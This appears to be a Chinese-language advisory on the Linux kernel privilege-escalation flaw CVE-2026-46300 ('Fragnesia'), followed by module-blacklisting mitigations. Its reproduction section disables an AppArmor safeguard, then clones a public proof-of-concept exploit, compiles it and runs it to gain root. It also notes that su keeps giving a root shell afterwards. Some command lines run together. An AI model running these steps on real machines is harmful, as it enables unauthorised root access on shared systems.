CVE-2026-46300(代号Fragnesia)是Linux内核XFRM/ESP-in-TCP子系统中的一个逻辑漏洞,属于Dirty Frag/page cache写原语家族的独立变体。攻击者以本地普通用户权限,通过splice()将只读文件数据放入TCP接收队列,再触发ESP-in-TCP ULP模式,利用AES-GCM解密过程中的keystream XOR操作,实现对任意可读文件页缓存的精准字节修改。
该漏洞无需竞争条件,可稳定修改SUID程序(如/usr/bin/su)在内存中的缓存内容,从而实现本地提权。相比Copy Fail,Fragnesia的利用路径更复杂(依赖特定内核模块和namespace),成功率和易用性略低,但依然属于高危本地提权漏洞,在未打补丁的系统上可被普通用户可靠利用。
该漏洞影响范围广泛,几乎覆盖近期所有未修补的主流Linux发行版(Ubuntu、RHEL、Fedora、AlmaLinux、Debian等)。在补丁全面推送前,对共享服务器、云主机、多用户环境仍构成严重威胁。
创建新的低权限用户
useradd -s /bin/bash -m pseudoecho pseudo:cat@md5 | chpasswd在ubuntu 24.04以及后续版本中要先临时关闭AppArmor限制
sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0使用低权限用户登录ssh后,执行
git clone https://github.com/v12-security/pocs.git && cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp提权成功后,如果不以root权限清理page cache,后续任何人执行su都会直接弹出root shell
echo 1 > /proc/sys/vm/drop_caches截至目前,多数主流Linux发行版的内核安全更新尚未全部推送CVE-2026-46300的修复补丁。临时禁用相关内核模块是目前最有效、最推荐的缓解措施(与Dirty Frag缓解措施类似)。
临时缓解方案:
# 1. 创建禁用配置文件(推荐使用这个文件名)echo -e "install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false" | sudo tee /etc/modprobe.d/disable-fragnesia.conf# 2. 立即尝试卸载已加载的模块# 执行后将禁用内核IPsec(esp4/esp6)和RxRPC功能,主要影响使用IPsec VPN的场景sudo rmmod esp4 esp6 rxrpc 2>/dev/null || true# 3. 更新initramfs(Ubuntu/Debian强烈建议执行)sudo update-initramfs -u# 这时候有条件的就重启服务器# 4. 验证是否生效(应该没有任何输出)lsmod | grep -E 'esp4|esp6|rxrpc'如果未来想启用的话:
# 1. 删除禁用配置文件sudo rm -f /etc/modprobe.d/disable-fragnesia.conf# 2. 立即尝试加载模块sudo modprobe -a esp4 esp6 rxrpc 2>/dev/null || true# 3. 验证是否加载成功lsmod | grep -E 'esp4|esp6|rxrpc'# 4. 更新initramfssudo update-initramfs -u长期修复方案:尽快升级内核到包含官方修复补丁的版本(核心修复为net: skbuff: preserve shared-frag marker during coalescing)。
